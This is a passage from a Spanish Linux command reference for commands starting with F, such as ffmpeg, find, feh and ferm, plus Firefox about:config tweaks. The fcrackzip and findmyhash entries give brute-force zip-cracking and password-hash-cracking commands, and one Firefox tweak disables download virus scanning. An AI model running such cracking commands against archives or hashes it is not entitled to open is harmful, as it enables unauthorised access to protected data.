establecer nueva-etiqueta a la partición
```

## fbcmd

[php5-cli php5-curl]. Cliente de línea de comandos para Facebook.

```
$ php -r 'echo phpversion();'  
Comprobar si php5 está instalado
```

```
$ php -r 'phpinfo();' | grep -i curl  
Comprobar si php tiene soporte para curl
```

```
$ wget https://raw.github.com/dtompkins/fbcmd/master/fbcmd_update.php  
Descargar fbcmd
```

```
$ php fbcmd_update.php  
Preparar la instalación
```

```
$ php fbcmd_update.php sudo
```

```
$ php fbcmd_update.php
```

```
$ fbcmd  
Arrancar la aplicación. Mostrará una url del tipo https://www.facebook.com/dialog/oauth?client_id=424....
```

Entrar en fecebook con la url mencionada y aceptar la conexión de la aplicación. Mostrará un código XXXXX

```
$ fbcmd auth XXXXX  
Autenticarse con el código
```

Aceptar los terminos que nos proponen y acabar la configuración.

```
$ fbcmd update  
Actualizar la versión
```

```
$ fbcmd post "Estoy posteando en consola"  
Enviar una entrada
```

```
$ fbcmd target USER post "Texto al muro de USER"
```

```
$ fbcmd @USER post "Texto al muro de USER"
```

```
$ fbcmd fstatus  
Ver estado de tus amigos
```

```
$ fbcmd fonline  
Mostrar los amigos que están actualmente en línea
```

```
$ fbcmd stream  
Mostrar streaming de los amigos
```

```
$ fbcmd comment 5 "texto de comentario"  
Agregar un comentario
```

## fbgrab

Realizar pantallazos desde las X y desde las tty1-6

```
# fbgrab -s 2 pantallazo.png
pantallazo despues de 2 segundos
```

```
# fbgrab -C 3 captura.png
desde las X a la tty 3
```

## fbgs

Visualizar pdf usando framebuffer [sin X]

```
$ fbgs -c archivo.pdf
visualizarlo en color
```

Opciones:

```
-l (Ampliación a 100 dpi (75 dpi por defecto)
-xl (a 12 dpi)
-xxl (a 150 dpi)
-p contraseña (Si el pdf requiera contraseña)
```

## fbi

Visualizar imagenes usando framebuffer [sin X]. Precisa root.

```
# fbi -t 3 *
visualizar 3 segundos todas las imágenes del directorio
```

Si sale una nota: ioctl VT\_GETSTATE: Invalid argument [not a linux console?] :

```
# fbi -vt 01 imagen
```

## fbset

Mostrar y modificar la configuración de los dispositivos framebuffer.

```
# fbset -i
Muestra toda la información disponible
```

```
# fbset -s
visualizar la configuración en modo vídeo
```

## fbsetbg

Herramienta para colocar fondos de pantalla en escritorios minimalistas: fluxbox, openbox...

```
$ fbsetbg -l $HOME/imagenes/imagen.png
colocar fondo
```

```
$ fbsetbg -i
información sobre el setter [feh, esetroot...] usado
```

## fbterm

Terminal basada en framebuffer [tty].

```
$ fbterm -f 0 -b 2 -s 20
Color de fuente[-f] negra[0], fondo[-b] verde[2] y fuente[-s] de 20 pixels
```

```
$ fbterm -r 2 -n Purisa
invierte la terminal y usa fuente Purisa [-n]. Listado de fuentes posibles con fc-list
```

Nota.- Con Ctrl+d la terminal vuelve a su condición anterior.

Colores permitidos [-f, -b]:

0 = negro, 1 = rojo, 2 = verde, 3 = marrón, 4 = azul, 5 = magenta, 6 = cyan, 7 = blanco

Rotaciones de terminal posibles (-r):

0 = 0º , 1 = 90º, 2 = 180º, 3 = 270º

## fbtv

Visualizar la webcam por las tty.

```
# fbtv -f /usr/share/consolefonts/Lat2-Fixed13.psf.gz -c /dev/video0
```

## fbv

Visualizar imágenes en framebuffer.

```
$ fbv imagen
```

## fc

Mostrar/abrir nuevamente el último comando/archivo abierto o ejecutado. La diferencia con history [ver] es que fc sólo muestra los últimos comandos ejecutados y no todos.

```
$ fc -l
Mostrar los últimos comandos usados por el usuario
```

```
$ fc 534
Edita el comando con el pid 534 y lo ejecuta nuevamente
```

```
$ !!
Ejecuta el último comando
```

```
$ !n
Ejecuta el comando número n
```

```
$ !dialog
Ejecuta el último comando que empieza por dialog
```

## fc-cache

Regenerar la cache de fuentes instaladas

```
$ fc-cache -f -v
```

## fcmdir

Es idéntico a chdir con la única diferencia de que el directorio se proporciona como un descriptor de archivo abierto, es decir que devuelve 0 si puede ir al directorio especificado o 1 si no.

```
$ fcmdir /usr/local/bin
devolverá 1
```

## fc-list

Listar todas las fuentes disponibles.

```
$ fc-list | cut -d ':' -f 1 | sort -u
de forma más clara
```

```
$ fc-list > lista_fuentes.txt
redirigir la lista de fuentes a un fichero
```

```
$ fc-list | wc -l
muestra el número de fuentes disponibles
```

## fcgistarter

Iniciar un programa FastCGI. FastCGI es un protocolo para interconectar programas interactivos con un servidor web. El principal objetivo de FastCGI es reducir la carga asociada con el hecho de interconectar el servidor web y los programas Common Gateway Interface, permitiéndole a un servidor atender más peticiones a la vez.

```
# fcgistarter -c command.cgi -p port -i eth0 -N num
```

## fcrackzip

Craquear zips protegidos

```
$ fcrackzip -c aA1 -l 5 archivo_protegido.zip
```

```
$ fcrackzip -b -c a -u -l 1-6 archivo_protegido.zip
```

-c aA1! (Prueba minúsculas, mayúsculas, números y caracteres especiales [!:\$%&/()=?{[]}\*~#])

-c a (Que pruebe solo minúsculas de la a a la z)

-l 3-5 (Entre 3 y 5 caracteres)

-b (fuerza bruta)

-u (utilice unzip para eliminar contraseñas incorrectas)

## fd

[fdclone]. Gestor de archivos minimalista sin soporte para colores, acentos y letra "ñ"

Algunos atajos:

```
Flechas (Desplazamiento)
1 (Muestra los archivos en una columna)
2 (Muestra los archivos en dos columnas)
3 (Muestra los archivos en tres columnas)
l (Ir a)
t (Muestra el árbol de carpetas)
u (Descomprimir usando el descompresor de FD)
a (Cambia las propiedades de un archivo.)
i (Información del disco duro actual)
```

```

p (Comprime un o varios archivos)
h (Ejecutar un comando)
F (Buscar de forma recursiva)
/ (Partir la pantalla en dos)
K (Cerrar pestaña)
^ (Cambia de pestaña)
E (Abre preferencias)

```

## fdfind

Alternativa rápida al comando find para buscar patrones.

```

$ fdfind bash /etc
que tengan "bash" en /etc

```

```

$ fdfind '^x.*rc$' /etc
que empiecen por "x" y terminen con "rc" en el directorio /etc

```

```

$ fdfind -s txt
que tengan determinada extensión

```

## fdformat

Formatear disquetes.

```

# fdformat -n /dev/fd0
sin verificar

```

```

# fdformat -r /dev/fd0
reparar el formateo

```

## fdisk

Particionar discos.

```

# fdisk -l
Lista las particiones de todos los discos y entra en el prompt del comando

```

Algunas teclas que pueden usarse:

```

d (Suprime una partición)
l (Lista los tipos de particiones conocidos)
m (Imprime este menú)
n (Añade nueva partición)
o (Crea una nueva tabla de particiones DOS vacía)
p (Imprime la tabla de particiones)
q (Sale sin guardar los cambios)
v (Verifica la tabla de particiones)
w (Escribe la tabla en el disco y sale)
Y seguir las instrucciones que aparecen en pantalla.

```

## fdupes

Buscar archivos duplicados.

```

$ fdupes -r .
Del directorio actual y los subdirectorios

```

```

$ fdupes -S .
Del directorio actual por medida

```



## F

Otras opciones:

```
-s (Comprueba los enlaces simbolicos)
-h (comprueba los enlaces fuertes)
-q ("quiet", oculta el indicador de progreso)
-v (muestra la version)
-d (borrar los ficheros duplicados)
-h (ayuda)
-n (descarta los ficheros vacios)
```

## feh

Visor de imagenes liviano.

```
$ feh /home/usuario/imagenes
Muestra las imagenes del directorio
```

```
$ feh -g 800x600 -S filename -D 1.5 /home/usuario/imagenes
Que las muestre a 800x600 pixels conservando proporciones, alfabéticamente [-s filename] y con intervalos de 1,5 segundos
```

```
$ feh -w /home/usuario/imagenes
Las abre todas en ventanas distintas
```

```
$ feh -i -r -e .fonts/Annabel.ttf/10 -O index.jpg /home/usuario/imagenes
Crea una imagen con los thumbnails de las imagenes del directorio y los subdirectorios [-r] con nombre [-O index.jpg] y colocando el nombre de la imagen con la fuente Annabel a 10 puntos. Ha de especificarse la ruta a la fuente
```

```
$ feh -m /home/usuario/imagenes
Crea una imagen con todas las imágenes del directorio especificado como con -i pero sin poner el nombre
```

```
$ feh -kR 10 http://192.168.1.9/img/video.asf
Grabar un video de 10 segundos de una cámara ip en el presente directorio
```

```
$ feh --bg-scale /home/usuario/imagenes/image.jpg
Colocar una imagen de fondo de pantalla de forma escalada [bg-tile: mosaico, bg-center: centrado, bg-fill: escalado proporcional y bg-max: escalado y proporcional con razón de aspecto
```

```
$ feh http://URL/imagen.png
Visualizar una imagen a partir de una URL
```

## ferm

Cortafuegos que en realidad tiene debajo a iptables . El archivo de configuración se crea en /etc/ferm/ferm.conf y las reglas personales se pueden organizar en /etc/ferm/ferm.d/local.conf.

```
# import-ferm > /etc/ferm/ferm.d/personal.conf
importar reglas de iptables
```

```
# import-ferm /etc/iptables/rules.v4 > /etc/ferm/ferm.d/personal.conf
importar reglas de iptables-persistent
```

```
# ferm -i -t 10 /etc/ferm/ferm.conf
cargar la aplicación en 10 segundos [predeterminado 30 segundos]
```

```
# ferm -nl /etc/ferm/ferm.d/personal.conf
ver las reglas importadas de iptables
```

```
# ferm --flush /etc/ferm/ferm.conf
eliminar todas las reglas
```

Ejemplo de archivo de configuración. Con iptables sería de la siguiente forma:

```
iptables -A INPUT -p tcp -j ACCEPT
```

```
iptables -A OUTPUT -p tcp -j ACCEPT

iptables -A INPUT -p udp -j ACCEPT

iptables -A OUTPUT -p udp -j ACCEPT
```

Con Ferm:

```
domain ip {

    table filter {

        chain (INPUT OUTPUT) {

            proto (udp tcp) ACCEPT;}

        }

    }
```

## fernapp

[openjdk-6-jre unzip xvfb libxcompositel libxdamage1 x11-xkb-utils]. Acceso a aplicaciones gráficas desde el navegador. Descarga: <https://bitbucket.org/MarkusKramer/fernapp/downloads/> una vez descomprimido el paquete:

```
$ cd fernapp
$ sudo chmod +x fernapp-server.sh
$ ./fernapp-server.sh libreoffice
indicar la aplicacion que quiere compartirse
```

En el navegador remoto se accede por: <http://localhost:8080/index.html> y la contraseña 123

## festival

[festival festvox-ellpc11k]. Sintetizador de voz.

```
$ echo Linux es genial | festival --tts --language spanish
$ festival --tts --language spanish archivo.txt
```

Nota.- Si al lanzar la aplicación nos muestra una salida: Linux: can't open /dev/dsp, crear el fichero .festivalrc en nuestra \$HOME pegando el siguiente contenido:

```
(Parameter.set 'Audio_Command "aplay -q -c 1 -t raw -f s16 -r $SR $FILE")
(Parameter.set 'Audio_Method 'Audio_Command)
```

## fetch

[procps imagemagick w3m-img wmctrl feh mpc scrot x11-utils]. Mostrar información del sistema. Descarga e instalación:

```
$ git clone https://github.com/dylananaraps/fetch
$ cd fetch
$ sudo make install

$ fetch --ascii
```

## fex

[Fast File EXchange de Frams]. Servicio que permite intercambiar archivos muy grandes de forma rápida y cómoda. El remitente carga el archivo en el servidor FEX y el destinatario recibe automáticamente un correo electrónico de notificación con una URL de descarga.

**fff**

[Fucking Fast File-manager]. Gestor de archivos escrito en Bash que permite explorar archivos y gestionarlos de manera rápida desde la línea de comandos.

Descarga e instalación:

```
$ curl https://raw.githubusercontent.com/dylananaraps/fff/master/fff > fff
$ chmod +x fff
# mv fff /usr/bin
```

```
$ fff
```

Teclas para la gestión:

```
j (bajar cursor)
k (subir cursor)
h (carpeta precedente)
l (entrar en subcarpeta)
enter (entrar en subcarpeta)
g (ir al inicio)
G (ir al final)
. (ver/ocultar archivos ocultos)
/ (buscar)
t (ir a la papelera)
~ (ir al directorio home)
[1-9] (favoritos)
      (bajar cursor)
      (subir cursor)
      (ir a la carpeta precedente)
      (entrar en subcarpeta)
f (nuevo archivo)
n (nueva carpeta)
y (marcar para copiar)
m (marcar para mover)
p (pegar/mover)
r (renombrar)
d (borrar [~/cache/fff/trash/])
q (salir)
```

**ffmpeg**

Conversor de archivos de audio y video. La aplicación contiene otros ejecutables: ffplay, ffprobe y qt-faststart

```
$ ffmpeg -i archivo.mpg
Obtener información de un archivo
```

```
$ ffmpeg -i archivo1.avi archivo2.mpg
Convertir de un formato a otro
```

```
$ ffmpeg -i archivo1.3gp -vcodec mpeg4 -acodec mp3 archivo2.avi
Convertir videos en formato 3gp del móvil a avi
```

```
$ ffmpeg -i archivo1.avi archivo2.mpg -s 640x480 -b 800
Cambiar formato especificando bitrate y resolución del archivo de salida
```

```
$ ffmpeg -i archivo.avi -vn -acodec copy audio.mp3
Extraer el audio de un archivo de video
```

```
$ ffmpeg -i input.flac -ab 196k -ac 2 -ar 48000 output.mp3
De flac a mp3
```

```
$ ffmpeg -i archivo.avi -an -vcodec copy video.avi
Extraer el video de un archivo sin el audio
```

```
$ ffmpeg -i movie.avi -acodec mp3 -ar 11025 movie.flv
de avi a flv
```

```
$ ffmpeg -i music.mp3 -acodec amr_nb -ar 8000 -ac 1 -ab 32 music.amr
de mp3 a amr
```

```
$ ffmpeg -i video.mpg -f mp3 audio_track.mp3
de mpeg a mp
```

```
$ ffmpeg -i myfile.avi -target pal-vcd myfile_vcd.mpg
de avi a vcd
```

```
$ ffmpeg -i music.wav -acodec amr_nb -ar 8000 -ac 1 -ab 32 music.amr
de wav a amr
```

```
$ ffmpeg -i video_1 -t 9 video_2
video_2 tendrá los 9 primeros segundos de video_1
```

```
$ ffmpeg -i video_1 -ss 9 -t 15 video_2
video_2 empezará en el minuto 9 de video_1 y durará 15 segundos a partir de este punto
```

```
$ ffmpeg -i archivo.mpeg -s qcif -r 12 -ac 1 -ar 8000 -b 30 -ab 12 salida.3gp
de mpeg a 3gp
```

```
$ ffmpeg -i pelicula.mpg -acodec mp3 -vcodec xvid -b 687 pelicula.avi
de mpeg a Xcid
```

```
$ ffmpeg -i pelicula.mpg -vcodec flv -y pelicula.flv
de mpeg a flv
```

```
$ ffmpeg -f image2 -i imagenes%d.jpg video.mpeg
Convertir una secuencia de imagenes a video
```

```
$ ffmpeg -i video -sameq -r 1 %d.png
sacar un fotograma png cada segundo de un video
```

```
$ ffmpeg -i video.avi video.mpg -s 640x480 -b 800
convertir de avi mpg especificando resolución y bitrate
```

```
$ ffmpeg -i video.mpeg -pix_fmt rgb24 imagenes.gif
Convertir imagenes de un video a .gif animado
```

```
$ ffmpeg -i nuevo_video.mpeg -sameq nuevo_video.avi
de mpeg a avi
```

```
$ ffmpeg -i video.avi -an video_sin_sonido.avi
Suprimir el audio de un video
```

```
$ ffmpeg -i video.avi audio.mp3
Separar para guardar el sonido de un video
```

```
$ ffmpeg -i audio.mp3 -i montaje.avi video_final.avi
Añadir sonido a un video sin él
```

Nota.- Si el audio.mp3 es más largo que el montaje.avi el resultado final tendrá la duración del audio y viceversa.

```
$ ffmpeg -f alsa -ac 2 -i hw:0,0 -f x11grab -r 30 -s $(xwininfo -root | grep 'geometry' | awk '{
print $2;}') -i :0.0 -acodec pcm_s16le -vcodec libx264 -vpre lossless_ultrafast -threads 0 -y
output.mkv
crear un video del escritorio
```

```
$ ffmpeg -f x11grab -r 25 -s 800x600 -i :0.0 video.mpg
lo mismo. Alguien ha de estar visualizando la sesión
```

```
$ ffmpeg -f x11grab -s 1280x1024 -r 25 -i :0.0 -sameq /home/usuario/video.mpg
Grabar escritorio
```

```
$ ffmpeg -loop_input -i imagen.png -vframes 500 -an video.avi
Crear video.avi de 500 segundos mostrando una imagen
```

```
$ ffmpeg -itsoffset -4 -i video.avi -vcodec mjpeg -vframes 1 -an -f rawvideo -s 320x240 test.jpg
Sacar un thumbnail de un video
```

```
$ ffmpeg -ss 5 -i video.mpeg -vframes 1 -s 320x240 thumb.jpg
lo mismo
```

```
$ ffmpeg -i http://192.168.1.115/img/video.asf -vcodec copy -b 900k salida.asf
```

## F

```
Grabar un video de una ubicación en la red [cámara ip]
```

```
$ ffmpeg -i ./PELICULA_ENTRADA.MOV -s 800x450 -vcodec libxvid -acodec aac -strict experimental -ac 2 -r 25 -ab 44100 -b 500k -aspect 16:9 fichero_salida.mp4
Convertir un vídeo a un formato reconocido por Android
```

### 1. Unir varios videos

```
$ ffmpeg -i video1.avi -sameq video1.mpeg
Primero convertirlos a mpeg)
```

```
$ ffmpeg -i video2.avi -sameq video2.mpeg
```

```
$ cat video1.mpeg video2.mpeg > nuevo_video.mpeg
Unir los videos resultantes usando cat
```

## fg

Pasa un proceso a primer plano.

```
$ fg PID
```

```
$ fg %2
Regresa a foreground el proceso num2
```

## fgconsole

Muestra el número de terminal activo.

```
$ fgconsole
```

## fgrep

(fast grep). Busca cadenas de texto fijas. Ignora el significado especial de los metacaracteres.

## figlet

Banners

```
$ figlet texto
forma básica
```

```
$ showfigfonts
visualizar las tipografías del comando
```

```
$ figlet -f banner texto
especificando tipografía
```

Opciones

```
-c (centra el texto de salida)
-l (alinea el texto a la izquierda)
-r (alinea el texto a la derecha)
-w (establece un tamaño máximo)
-t (Con la anchura máxima que permite la terminal)
```

## figlist

Lista las fuentes disponibles en figlet.

```
# figlist
```

```
# figlist -d /usr/share/figlet
```

## file

Indica el tipo y codificación de un fichero.

```
$ file script.sh
$ file Desktop
$ file archivo.odt
$ file -i archivo
$ file --mime-encoding archivo.txt
Mostrar codificación
```

## file2brl

Convierta un archivo xml, html o de texto en un archivo braille.

```
$ file2brl texto.txt text-braile.txt
```

## filefrag

Visualizar la fragmentación de un fichero [ext2,3 y 4].

```
# filefrag -v fichero
Con resultado 1 extent found no está fragmentado, en caso contrario, si
```

## fileschanged

Utilidad que informa cuando los archivos han sido alterados. Cuando descubre que un archivo ha sido alterado, muestra el nombre del archivo en la salida estándar.

```
$ fileschanged -r ~/
controla el directorio home del usuario de forma recursiva

$ fileschanged /var/log/messages
```

## filetraq

Script de shell que informa sobre alguna modificación en algún archivo que se ha producido. Está diseñado para ejecutarse como un trabajo cron, además mantiene una copia de seguridad con fecha del original.

```
# filetraq
```

## filters

Colección de filtros para hacer todo tipo de cosas extrañas a un texto en inglés. Opciones: (LOLCAT, blff, censor, chef, cockney, eleet, fanboy, fudd, jethro, jibberish, jive, ken, kenny, kraut, ky00te, nethackify, newspeak, nyc, pirate, rasterman, scottish, scramble, spammer, studly, uniencode y upside-down)

```
$ echo "make tech easier is cool" | pirate
$ echo "make tech easier is cool" | ky00te
$ echo "make tech easier is cool" | kraut
$ echo "make tech easier is cool" | kenny
```

## fm

Herramienta que utiliza el framebuffer del sistema para mostrar imágenes directamente desde la línea de comandos.

```
$ fm imagen.jpg
uso básico
```

```
$ fm -a *.jpg
abrir todas las imagenes jpg del directorio actual con zoom automático
```

```
$ fm -R Imagenes/ --sort
Para abrir las imagenes de la carpeta y subcarpetas recursivamente y despues ordenarlas
```

```
$ fm -t imagen.jpg
renderizar una imagen en formato ASCII
```

Atajos de teclado

AvPág/AvPág	Prev/Imagen siguiente.
+/-	Acercar/Alejar la imagen.
a	Autoescalar
w	Ajustar al ancho.
h	Ajustar a la altura.
j/k	Desplegar/subir.
f/m	Voltear/espejo.
r/R	Girar (en sentido del reloj y en sentido contrario)
q	Salir

## finch

Cliente de mensajería instantánea en ncurses. La primera vez que se ejecute mostrará la ventana de Cuentas, desde donde se configuran las distintas cuentas para conectarse.

Algunos atajos de teclado:

```
Alt + a (menú)
^ + q (Cerrar aplicación)
Alt + n (Ir a la ventana siguiente)
Alt + p (Ir a la ventana anterior)
Alt + c (Cerrar la ventana actual)
Alt + r (Redimensionar la ventana con las teclas del cursor)
Alt + o (Abrir menú de ventana)
Alt+num (cambiar a la ventana indicada)
tab (navegar por las distintas opciones)
espacio (Marcar/desmarcar opciones)
enter (Seleccionar opción)
esc (Salir de opciones)
```

## fincore

Cuenta páginas del contenido de los archivos y número de bytes. Si se produce un error durante el conteo, se imprime un mensaje de error en pantalla y fincore continúa procesando el resto de archivos listados en una línea de comandos.

```
$ fincore -b text1.txt text2.html
```

## find

Buscar archivos o directorios

```
$ find / -iname archivo
Busca en / archivo sin distinguir minúsculas y mayúsculas
```

```
$ find /home -name *.png -print
Buscará en /home todos los archivos .png y mostrará la ruta
```

```
$ find . -name "*.bak" -exec rm {} \;
buscará en el directorio todos los acabados en .bak y los borrará. la instrucción "-exec" seguido del comando a ejecutar. los corchetes {} se refiere a los ficheros que find ha encontrado y la barra invertida seguido de punto y coma \; indica el final de la instrucción
```

```
$ find . ! -iname *.png ! -name *.jpg
Buscar en el directorio actual todos los archivos menos los acabados en png y jpg
```

```
$ find . -type f -iname '*.txt' -o -iname '*.pdf'
buscar en el directorio actual y subdirectorios todos los .txt y los .pdf
```

```
$ find . -amin -15
Buscar los que se ha accedido en los últimos 15 minutos
```

```
$ find . -atime 15
Buscar los que se accedió por última vez hace 15 días
```

```
$ find / -amin -10
Los que se ha accedido los últimos 10 minutos
```

```
$ find . -type f
Buscar ficheros
```

```
$ find . -type d
Buscar directorios
```

```
$ find / -iname fichero 2>/dev/null
buscar redireccionando los avisos de permiso denegado a /dev/null
```

```
$ find . -iname "*.txt" -or -iname "*.odt" -exec cp {} documentos \;
Buscar los txt y los odt y copiarlos a la carpeta documentos
```

```
$ find . -type d -exec chmod 0755 {} \;
Cambiar permisos de todos los directorios y subdirectorios
```

```
$ find . -type f -exec chmod 0644 {} \;
Cambiar permisos de todos los ficheros del directorio y de los subdirectorios
```

```
$ find . -type f -iname "*.bak" | xargs rm
buscar los ficheros acabados en .bak y borrarlos. xargs hace lo mismo que exec pero usando una tubería.
```

```
$ find /home/usuario -name * | xargs grep "tractatus"
buscar cadena de caracteres "tractatus" dentro de todos los archivos de /home/usuario
```

```
$ find /home/usuario -iname '*.bak' -delete
Otra forma de borrar todos los .bak de un directorio
```

```
$ find . -type f -iname *.sla
buscará los ficheros .sla
```

```
$ find . -type f -mtime 0
Buscará los ficheros creados o modificados hoy
```

```
$ find / -type f -mtime -1 -print
Los modificados las últimas 24 horas
```

```
$ find / -mtime +2 -print
Los modificados hace más de dos días
```

```
$ find -L . -type l
Buscar enlaces rotos
```



## F

```
$ find -name "###" -print -delete
suprimir todos los que empiecen por *
```

```
$ find -name "*~undo-tree~" -print -delete
en emacs todos los buffers que han dejado rastros *undo-tree*
```

```
$ find . type l
lo mismo
```

```
$ find . -type l -delete
eliminar todos los enlaces rotos
```

```
$ find . -type f -size +300k > masde300k.txt
buscar .sh mayores de 300k
```

```
$ find ./ -name .svn -exec rm -rf {} \;
eliminar todos los directorios y subdirectorios subversión
```

```
$ find . -name "*.html" -exec grep -i -H "Tractatus elementalis" {} \;
Buscar en todos los archivos html del directorio actual con un texto concreto
```

```
$ find . -name *.txt -exec sed -i "s/cosa/casa/g" {} \;
Substituir cosa por casa en todos los .txt del presente directorio
```

```
$ find ~/ -depth -type f -empty
Buscar archivos vacios. Con -type d buscará directorios vacios
```

```
$ find / -name "algo" -a ! -path "/media/servidor/*" -exec echo {} \; 2>/dev/null
Buscar "algo" descartando el directorio /media/servidor/
```

```
$ find /home/usuario -iname '*.odt' -exec cp '{}' /home/usuario/Documentos \;
Copiar todos los odt a la carpeta Documentos
```

```
$ find . -type f -amin -5 ! -path "./.*"
Buscar ficheros modificados los últimos 5 minutos descartando los ocultos
```

```
$ find . ! -name "plantilla*" -type f -delete | find . ! -name HTMLS -type d -delete
borrar todos menos los "plantilla*" y el directorio "HTMLS"
```

```
$ find -L /sys/bus/pci/devices/*/ata*/host*/target* -maxdepth 3 -name "sd*" 2>/dev/null | egrep
block |egrep --colour '(ata[0-9]*)|(sd.*)'
Encontrar qué /dev/sda, sdb, etc. corresponde al ATA/SATA declarado en dmesg, etc para determinar
qué disco duro es
```

## finddup

[perforate]. Encuentra archivos idénticos

```
$ finddup -n -i
comprueba el directorio actual y solo imprime la salida y no comprueba que el propietario del
archivo y los permisos coincidan
```

```
$ finddup -v -i -l -d DIR
máxima información, sin comprobar permisos y vinculando archivos idénticos del directorio
mencionado
```

## findfs

Busca el sistema de ficheros por su etiqueta (LABEL) o UUID.

```
$ findfs UUID=388dda65-2432-4684-8cd9-b1649006fe30
```

```
$ findfs LABEL=datos
```

## findmnt

Muestra una lista de sistemas de archivos montados.

```
$ findmnt -A
En forma de arbol
```

```
$ findmnt -s
en /etc/fstab
```

```
$ findmnt -s -t ext4
Especificando una extensión concreta
```

```
$ findmnt -m
en /etc/mtab
```

```
$ findmnt -l
Los muestra como lista
```

## findmyhash

Busca hashes de contraseñas en diferentes servicios web gratuitos para tratar de romperlos. Descarga <<https://code.google.com/p/findmyhash/downloads/list>>

```
$ python findmyhash.py MD5 -h "098f6bcd4621d373cade4e832627b4f6"
```

```
$ python findmyhash.py SHA224 -h "e98da241a4504c5e52f0ef06f87a7598e7db22e1579326441fe7aa50"
```

## findsmb

Busca máquinas en la red que respondan al protocolo samba.

```
$ findsmb -r
```

## fing

Escaner de la conexión wiki. Página de descarga <http://www.overlooksoft.com/>

```
# fing
```

## finger

Quien está conectado al sistema, tiempo, consola...

```
$ finger -s
```

```
$ finger -l
```

## finit

Alternativa a SysV init y systemd.

```
# finit 0
cerrar el sistema. Equivalente a "init 0"
```

```
# finit 6
reiniciar el sistema. Equivalente a "init 6"
```

```
# finit 1
entrar en modo recuperar sistema
```

```
# finit q
releer la configuración si se ha modificado
```

## firebuild

Funciona almacenando en caché las salidas de los comandos ejecutados y reproduciendo los resultados cuando los mismos comandos se ejecutan con los mismos parámetros dentro del mismo entorno.

```
# firebuild -r htop
genera un informe con nombre firebuild-build-report.html sobre el comando htop
```

## firefox

Navegador.

```
$ firefox --private
Nota.- Son dos guiones. Arrancar en modo privado. Para incluir por defecto este modo en la
propiedades: firefox --private %U
```

```
$ firefox 'data:text/html, texto que queremos mostrar'
Visualizar un texto en una ventana del navegador
```

```
$ MOZ_ALLOW_DOWNGRADE=1 firefox -P
En caso de desactualizar firefox necesitaremos pasar el MOZ_ALLOW_DOWNGRADE=1 para poder usar el
perfil de usuario que teníamos. Con el -P seleccionamos qué perfil queremos, saldrá una ventanita.
Testeado con versión 89.0.1 hacia 88.0
```

Cambios para optimizar las conexiones y para aprovechar otros parámetros. Escribir en la barra de direcciones: "about:config" y pulsar enter. Cambiar los siguientes valores. Para ello, hacer doble click encima de la línea a modificar y en el cuadro de diálogo que aparece, escribir el valor nuevo:

Ajustes generales [dependen de la versión instalada]:

```
network.dns.disableIPv6 true

network.http.max-connections 128

network.http.max-connections-per-server 48

network.http.max-persistent-connections-per-proxy 24

network.http.max-persistent-connections-per-server 12

network.http.pipelining true

network.http.proxy.pipelining true

network.http.pipelining.maxrequests 30

browser.sessionstore.interval 300000
```

Activar protección contra el tracking:

```
privacy.trackingprotection.enabled true
Desactivar escaneo de virus.
```

```
browser.download.manager.scanWhenDone false
Guarda pestañas abiertas al cerrar:
```

```
browser.showquitwarning true
Deshabilitar la opción de recuperación de sesión.
```

```
browser.sessionstore.enabled false
Si tenemos problemas con hotmail, suprimir el nombre de la distro:
```

```
general.useragent.vendor
Instalar extensiones incompatibles (peligroso):
```

```
extensions.checkCompatibility False
Si no queremos que pregunte por guardar contraseñas:
```

`signon.RememberSignons false`  
 Activar tecla backspace para ir a la página anterior

`browser.backspace_action 0`  
 Visualizar todas las pestañas:

`browser.allTabs.previews true`  
 Cambiar idioma:

`general.useragent.locale`  
 Deshabilitar o aumentar la cantidad de sugerencias de la barra de direcciones (por defecto 12. Dehabilitar -1).

`browser.urlbar.maxRichResults 15`  
 Modificar el intervalo de tiempo de recuperación de sesión (1 segundo=1000. Por defecto cada 10 segundos) El parámetro anterior tiene que estar en "true".

`browser.sessionstore.interval 20000`  
 Mejorar la calidad de color (consume muchos recursos).

`gfx.color_management.enabled true`  
 Suprimir el scroll de pestañas aunque tengamos muchas abiertas (por defecto 100).

`browser.tabs.tabMinWidth 0`  
 Abrir las ventanas emergentes en una nueva pestaña (por defecto lo abre como ventana [2]. Para no abrir ninguno [1])

`browser.link.open_newwindow.restriction 0`  
 Habilitar diccionario para todos los campos de texto (por defecto solo multilínea [1]. Deshabilitar [0]).

`layout.spellcheckDefault 2`  
 Abrir resultados de búsqueda en otra pestaña.

`browser.search.openintab true`  
 Modificar la caché (por defecto 50000 kb)

`browser.cache.disk.enable true.`  
`browser.cache.disk.capacity 100000`  
 Habilitar sugerencias de autocompletado en la barra de direcciones.

`browser.urlbar.autofill true`  
 Auto exportar Favoritos para sincronización con otro navegador

`browser.bookmarks.autoExportHTML true`  
 Aumentar el historial de "deshacer cerrar pestaña". (por defecto 10)

`browser.sessionstore.max_tabs_undo 20`  
 Deshabilitar tiempo de espera al agregar complementos (por defecto 5 segundos)

`security.dialog_enable_delay 0`  
 Ver código fuente con el editor favorito.

`view_source.editor.external true`  
`view_source.editor.path /ruta/al/editor`  
 Mostrar siempre [incluso en modo "pantalla completa"] la barra superior.

`browser.fullscreen.autohide false`  
 Aumentar lista de búsqueda de complementos (por defecto 5).

`extensions.getAddons.maxResults 10`  
 Evitar que un sitio modifique el tamaño de ventanas.

`dom.disable_window_move_resize true`  
 Mostrar las pestañas abiertas como miniaturas. Crea un botón que muestra una vista previa de pestañas abiertas.

`browser.allTabs.previews true`  
 No mostrar favicon en la barra de direcciones y en las pestañas.

`browser.chrome.site_icons False`  
 Evitar cuelgues al abrir muchas pestañas (por defecto 256)

```
network.http.max-connections 48
Desactivar sitios más visitados en nueva página:
```

```
browser.newtabpage.enabled false
Al abrir nueva pestaña que se abra con un URL concreta:
```

```
browser.newtab.url
Que las preferencias se abran en nueva pestaña y no en nueva ventana:
```

```
browser.preferences.InContent true
Habilitar lector nativo de pdf en javascript:
```

```
pdfjs.disable false
Habilitar dominios multilingües [idn] -Que continenen caracteres raros.
```

```
network.enableIDN true
Ver listado de todos los idn habilitados [todos en true]:
```

```
network.IDN.whitelist
Habilitar lector de pdfs:
```

```
pdfjs.disabled true
Habilitar soporte para H.264, AAC y mp3:
```

```
media.gstreamer.enabled true
Rechazar cookies automáticamente:
```

```
cookiebanners.service.mode 2
```

```
cookiebanners.service.mode.privateBrowsing 2
```

Acceso a los diálogos de firefox:

```
chrome://browser/content/bookmarks/bookmarksPanel.xul (las direcciones de interés)
chrome://browser/content/history/history-panel.xul (historial)
chrome://global/content/console.xul (Consola Javascript)
chrome://passwordmgr/content/passwordManager.xul (Administrador de contraseñas)
chrome://pippki/content/getpassword.xul (Establecer contraseña maestra)
chrome://pippki/content/resetpassword.xul (Restablecer contraseña maestra)
chrome://mozapps/content/downloads/downloads.xul (lista de descargas efectuadas)
